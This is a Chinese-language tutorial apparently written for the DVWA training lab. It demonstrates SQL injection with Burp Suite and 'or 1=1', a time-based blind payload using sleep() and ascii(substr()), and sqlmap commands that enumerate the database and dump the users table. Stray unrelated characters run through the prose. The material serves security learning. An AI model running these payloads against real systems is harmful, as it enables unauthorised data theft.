1.非盲注(頁面顯示查詢結(jié)果):
通過burpsuite抓包,獲取到post形式請求的id參數(shù)有漏洞嘹叫,并直接用“or 1=1”獲取到全部的用戶名信息:
手工獲取全部用戶名
2.盲注:
利用sleep(5)函數(shù)看尼,substr()函數(shù)潜慎,ascii()函數(shù)等判斷:如下:
Payload: id =2 and if(ascii(substr(database(),1,1))=100, sleep(5), null)
鸥鹉,當(dāng)database()返回的當(dāng)前數(shù)據(jù)庫名第一個字符的ascii值是100布持,即為’d’時莉炉,那么執(zhí)行sleep(5)暫停5秒 才返回钓账。觀察請求返回時間,判斷是否第一個字符為’d’絮宁。如下:
盲注
箭頭所指的地方是response,在響應(yīng)梆暮,說明第一個字符是’d’。后續(xù)利用同樣的方法判斷绍昂,得到’dvwa’數(shù)據(jù)庫名啦粹。
3.用sqlmap測試:
(1)先將發(fā)送的請求頭(這里以盲注請求頭為例)保存為一個request.txt文件,并放置在sqlmap目錄下
image.png
(2)在cmd下輸入:
python sqlmap.py -r request.txt -p id
, 得到輸出:
image.png
由上面可看出窘游,sqlmap已經(jīng)將后臺的數(shù)據(jù)庫唠椭,服務(wù)器及漏洞參數(shù)信息測試出來。
(3)然后輸入:
python sqlmap.py -r request.txt -p id --dbms mysql --current-db
image.png
(4)然后列出當(dāng)前數(shù)據(jù)庫中的表:
Python sqlmap.py -r request.txt -p id --dbms mysql -D dvwa --tables
忍饰,得到如下圖所示的表:image.png
(5)然后列出響應(yīng)表的字段內(nèi)容:
python sqlmap.py -r request.txt -p id --dbms=mysql -D dvwa -T users --dump
image.png
可看到已經(jīng)將users表中的數(shù)據(jù)打印并保存到C盤目錄下一個csv文件里贪嫂,找到打開:
image.png